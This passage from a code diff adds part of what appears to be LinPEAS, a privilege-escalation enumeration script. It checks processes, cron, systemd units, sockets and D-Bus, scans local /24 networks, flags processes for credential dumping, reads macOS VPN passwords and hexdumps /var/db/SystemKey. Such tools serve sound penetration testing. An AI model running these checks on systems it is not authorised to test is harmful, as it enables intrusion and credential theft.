+ if [ -w "$bpath" ]; then
+ binW="$binW|$bpath"
+ fi
+ done
+ ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
+ fi
+ echo ""
+fi
+
+CURRENT_USER_PIVOT_PID=""
+if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
+ #-- PCS) Process opened by other users
+ print_2title "Processes whose PPID belongs to a different user (not root)"
+ print_info "You will know if a user can somehow spawn processes as a different user"
+
+ # Function to get user by PID
+ get_user_by_pid() {
+ ps -p "$1" -o user | grep -v "USER"
+ }
+
+ # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
+ ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
+ if [ "$ppid" = "0" ]; then
+ continue
+ fi
+ ppid_user=$(get_user_by_pid "$ppid")
+ if echo "$user" | grep -Eqv "$ppid_user|root$"; then
+ echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
+ if [ "$ppid_user" = "$USER" ]; then
+ CURRENT_USER_PIVOT_PID="$ppid"
+ fi
+ fi
+ done
+ echo ""
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Files opened by processes belonging to other users
+ if ! [ "$IAMROOT" ]; then
+ print_2title "Files opened by processes belonging to other users"
+ print_info "This is usually empty because of the lack of privileges to read other user processes information"
+ lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
+ echo ""
+ fi
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Processes with credentials inside memory
+ print_2title "Processes with credentials in memory (root req)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
+ if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
+ if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
+ if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
+ if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
+ if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
+ if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
+ echo ""
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Different processes 1 min
+ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
+ print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
+ temp_file=$(mktemp)
+ if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
+ for i in $(seq 1 1210); do
+ ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
+ done;
+ sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
+ rm "$temp_file";
+ fi
+ echo ""
+ fi
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Cron
+ print_2title "Cron jobs"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
+ command -v crontab 2>/dev/null || echo_not_found "crontab"
+ crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
+ command -v incrontab 2>/dev/null || echo_not_found "incrontab"
+ incrontab -l 2>/dev/null
+ ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
+ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
+ crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
+ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
+ atq 2>/dev/null
+else
+ print_2title "Cron jobs"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
+ find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
+fi
+echo ""
+
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ if [ "$MACPEAS" ]; then
+ print_2title "Third party LaunchAgents & LaunchDemons"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
+ ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
+ echo ""
+
+ print_2title "Writable System LaunchAgents & LaunchDemons"
+ find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
+ program=""
+ program=$(defaults read "$f" Program 2>/dev/null)
+ if ! [ "$program" ]; then
+ program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
+ fi
+ if [ -w "$program" ]; then
+ echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ fi
+ done
+ echo ""
+
+ print_2title "StartupItems"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
+ ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
+ echo ""
+
+ print_2title "Login Items"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
+ osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
+ echo ""
+
+ print_2title "SPStartupItemDataType"
+ system_profiler SPStartupItemDataType
+ echo ""
+
+ print_2title "Emond scripts"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
+ ls -l /private/var/db/emondClients
+ echo ""
+ fi
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Services
+ if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Services"
+ print_info "Search for outdated versions"
+ (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
+ echo ""
+ fi
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PSC) systemd PATH
+ print_2title "Systemd PATH"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
+ systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
+ WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
+ echo ""
+fi
+
+#-- PSC) .service files
+#TODO: .service files in MACOS are folders
+print_2title "Analyzing .service files"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
+printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
+ if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
+ if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
+ echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
+ fi
+ servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
+ printf "%s\n" "$servicebinpaths" | while read sp; do
+ if [ -w "$sp" ]; then
+ echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
+ fi
+ done
+ relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
+ relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
+ if [ "$relpath1" ] || [ "$relpath2" ]; then
+ if [ "$WRITABLESYSTEMDPATH" ]; then
+ echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
+ else
+ echo "$s could be executing some relative path"
+ fi
+ fi
+ fi
+done
+if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
+echo ""
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PSC) Timers
+ print_2title "System timers"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
+ (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
+ echo ""
+fi
+
+#-- PSC) .timer files
+print_2title "Analyzing .timer files"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
+printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
+ if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
+ echo "$t" | sed -${E} "s,.*,${SED_RED},g"
+ fi
+ timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
+ printf "%s\n" "$timerbinpaths" | while read tb; do
+ if [ -w "$tb" ]; then
+ echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
+ fi
+ done
+ #relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
+ #for rp in "$relpath"; do
+ # echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
+ #done
+done
+echo ""
+
+#-- PSC) .socket files
+#TODO: .socket files in MACOS are folders
+if ! [ "$IAMROOT" ]; then
+ print_2title "Analyzing .socket files"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
+ printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
+ if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
+ echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
+ fi
+ socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
+ printf "%s\n" "$socketsbinpaths" | while read sb; do
+ if [ -w "$sb" ]; then
+ echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
+ fi
+ done
+ socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
+ printf "%s\n" "$socketslistpaths" | while read sl; do
+ if [ -w "$sl" ]; then
+ echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
+ fi
+ done
+ done
+ echo ""
+
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Unix Sockets Listening"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
+ # Search sockets using netstat and ss
+ unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
+ if ! [ "$unix_scks_list" ];then
+ unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
+ fi
+ if ! [ "$unix_scks_list" ];then
+ unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
+ fi
+ unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
+ fi
+
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+ # But also search socket files
+ unix_scks_list2=$(find / -type s 2>/dev/null)
+ else
+ unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
+ fi
+
+ # Detele repeated dockets and check permissions
+ (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
+ perms=""
+ if [ -r "$l" ]; then
+ perms="Read "
+ fi
+ if [ -w "$l" ];then
+ perms="${perms}Write"
+ fi
+
+ if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
+ CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
+ if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
+ perms="${perms} - Can Connect"
+ else
+ perms="${perms} - Cannot Connect"
+ fi
+ fi
+
+ if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
+ else
+ echo "$l" | sed -${E} "s,$l,${SED_RED},g"
+ echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
+ # Try to contact the socket
+ socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
+ if [ $? -eq 0 ]; then
+ owner=$(ls -l "$s" | cut -d ' ' -f 3)
+ echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
+ echo "$socketcurl" | head -n 30
+ fi
+ fi
+ done
+ echo ""
+fi
+
+#-- PSC) Writable and weak policies in D-Bus config files
+print_2title "D-Bus config files"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
+if [ "$PSTORAGE_DBUS" ]; then
+ printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
+ for f in $d/*; do
+ if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
+ echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
+ fi
+
+ genpol=$(grep "<policy>" "$f" 2>/dev/null)
+ if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
+ #if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
+
+ userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
+ if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
+ #for g in `groups`; do
+ # if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
+ #done
+ grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
+ if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
+
+ #TODO: identify allows in context="default"
+ done
+ done
+fi
+echo ""
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "D-Bus Service Objects list"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
+ dbuslist=$(busctl list 2>/dev/null)
+ if [ "$dbuslist" ]; then
+ busctl list | while read line; do
+ echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
+ if ! echo "$line" | grep -qE "$dbuslistG"; then
+ srvc_object=$(echo $line | cut -d " " -f1)
+ srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
+ if [ "$srvc_object_info" ]; then
+ echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
+ fi
+ fi
+ done
+ else echo_not_found "busctl"
+ fi
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q network_information; then
+print_title "Network Information"
+###########################################
+#---------) Network Information (---------#
+###########################################
+
+if [ "$MACOS" ]; then
+ print_2title "Network Capabilities"
+ warn_exec system_profiler SPNetworkDataType
+ echo ""
+fi
+
+#-- NI) Hostname, hosts and DNS
+print_2title "Hostname, hosts and DNS"
+cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null
+warn_exec dnsdomainname 2>/dev/null
+echo ""
+
+#-- NI) /etc/inetd.conf
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Content of /etc/inetd.conf & /etc/xinetd.conf"
+ (cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf"
+ echo ""
+fi
+
+#-- NI) Interfaces
+print_2title "Interfaces"
+cat /etc/networks 2>/dev/null
+(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
+echo ""
+
+#-- NI) Neighbours
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Networks and neighbours"
+ if [ "$MACOS" ]; then
+ netstat -rn 2>/dev/null
+ else
+ (route || ip n || cat /proc/net/route) 2>/dev/null
+ fi
+ (arp -e || arp -a || cat /proc/net/arp) 2>/dev/null
+ echo ""
+fi
+
+if [ "$MACPEAS" ]; then
+ print_2title "Firewall status"
+ warn_exec system_profiler SPFirewallDataType
+fi
+
+#-- NI) Iptables
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Iptables rules"
+ (timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) 2>/dev/null || echo_not_found "iptables rules"
+ echo ""
+fi
+
+#-- NI) Ports
+print_2title "Active Ports"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
+( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
+echo ""
+
+#-- NI) MacOS hardware ports
+if [ "$MACPEAS" ] && [ "$EXTRA_CHECKS" ]; then
+ print_2title "Hardware Ports"
+ networksetup -listallhardwareports
+ echo ""
+
+ print_2title "VLANs"
+ networksetup -listVLANs
+ echo ""
+
+ print_2title "Wifi Info"
+ networksetup -getinfo Wi-Fi
+ echo ""
+
+ print_2title "Check Enabled Proxies"
+ scutil --proxy
+ echo ""
+
+ print_2title "Wifi Proxy URL"
+ networksetup -getautoproxyurl Wi-Fi
+ echo ""
+
+ print_2title "Wifi Web Proxy"
+ networksetup -getwebproxy Wi-Fi
+ echo ""
+
+ print_2title "Wifi FTP Proxy"
+ networksetup -getftpproxy Wi-Fi
+ echo ""
+fi
+
+#-- NI) tcpdump
+print_2title "Can I sniff with tcpdump?"
+timeout 1 tcpdump >/dev/null 2>&1
+if [ $? -eq 124 ]; then #If 124, then timed out == It worked
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing"
+ echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
+else echo_no
+fi
+echo ""
+
+#-- NI) Internet access
+if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
+ print_2title "Internet Access?"
+ check_tcp_80 2>/dev/null &
+ check_tcp_443 2>/dev/null &
+ check_icmp 2>/dev/null &
+ check_dns 2>/dev/null &
+ wait
+ echo ""
+fi
+
+if [ "$AUTO_NETWORK_SCAN" ]; then
+ if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then
+ printf $RED"[-] $SCAN_BAN_BAD\n$NC"
+ echo "The network is not going to be scanned..."
+
+ elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then
+ printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC"
+ echo "The network is not going to be scanned..."
+
+ else
+ print_2title "Scanning local networks (using /24)"
+
+ if ! [ "$PING" ] && ! [ "$FPING" ]; then
+ printf $RED"[-] $DISCOVER_BAN_BAD\n$NC"
+ fi
+
+ select_nc
+ local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.")
+ printf "%s\n" "$local_ips" | while read local_ip; do
+ if ! [ -z "$local_ip" ]; then
+ print_3title "Discovering hosts in $local_ip/24"
+
+ if [ "$PING" ] || [ "$FPING" ]; then
+ discover_network "$local_ip/24" | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Network Discovery" | grep -v "Network Discovery" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > $Wfolder/.ips.tmp
+ fi
+
+ discovery_port_scan "$local_ip/24" 22 | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Ports going to be scanned" | grep -v "Ports going to be scanned" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> $Wfolder/.ips.tmp
+
+ sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips
+ rm $Wfolder/.ips.tmp 2>/dev/null
+
+ while read disc_ip; do
+ me=""
+ if [ "$disc_ip" = "$local_ip" ]; then
+ me=" (local)"
+ fi
+
+ echo "Scanning top ports of ${disc_ip}${me}"
+ (tcp_port_scan "$disc_ip" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
+ echo ""
+ done < $Wfolder/.ips
+
+ rm $Wfolder/.ips 2>/dev/null
+ echo ""
+ fi
+ done
+
+ print_3title "Scanning top ports of host.docker.internal"
+ (tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
+ echo ""
+ fi
+fi
+
+if [ "$MACOS" ]; then
+ print_2title "Any MacOS Sharing Service Enabled?"
+ rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
+ scrShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.5900" | wc -l);
+ flShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep -E "\*.88|\*.445|\*.548" | wc -l);
+ rLgn=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.22" | wc -l);
+ rAE=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.3031" | wc -l);
+ bmM=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.4488" | wc -l);
+ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
+ echo ""
+ print_2title "VPN Creds"
+ system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 ": Password" | sed -${E} "s,Password|Authorization Name.*,${SED_RED},"
+ echo ""
+
+ if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Bluetooth Info"
+ warn_exec system_profiler SPBluetoothDataType
+ echo ""
+
+ print_2title "Ethernet Info"
+ warn_exec system_profiler SPEthernetDataType
+ echo ""
+
+ print_2title "USB Info"
+ warn_exec system_profiler SPUSBDataType
+ echo ""
+ fi
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q users_information; then
+print_title "Users Information"
+###########################################
+#----------) Users Information (----------#
+###########################################
+
+#-- UI) My user
+print_2title "My user"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users"
+(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
+echo ""
+
+if [ "$MACPEAS" ];then
+ print_2title "Current user Login and Logout hooks"
+ defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
+ echo ""
+
+ print_2title "All Login and Logout hooks"
+ defaults read /Users/*/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
+ defaults read /private/var/root/Library/Preferences/com.apple.loginwindow.plist
+ echo ""
+
+ print_2title "Keychains"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#chainbreaker"
+ security list-keychains
+ echo ""
+
+ print_2title "SystemKey"
+ ls -l /var/db/SystemKey
+ if [ -r "/var/db/SystemKey" ]; then
+ echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ fi
+ echo ""
+fi
+
+#-- UI) PGP keys?
+print_2title "Do I have PGP keys?"
+command -v gpg 2>/dev/null || echo_not_found "gpg"
+gpg --list-keys 2>/dev/null
+command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys"
+netpgpkeys --list-keys 2>/dev/null
+command -v netpgp 2>/dev/null || echo_not_found "netpgp"
+echo ""
+
+#-- UI) Clipboard and highlighted text
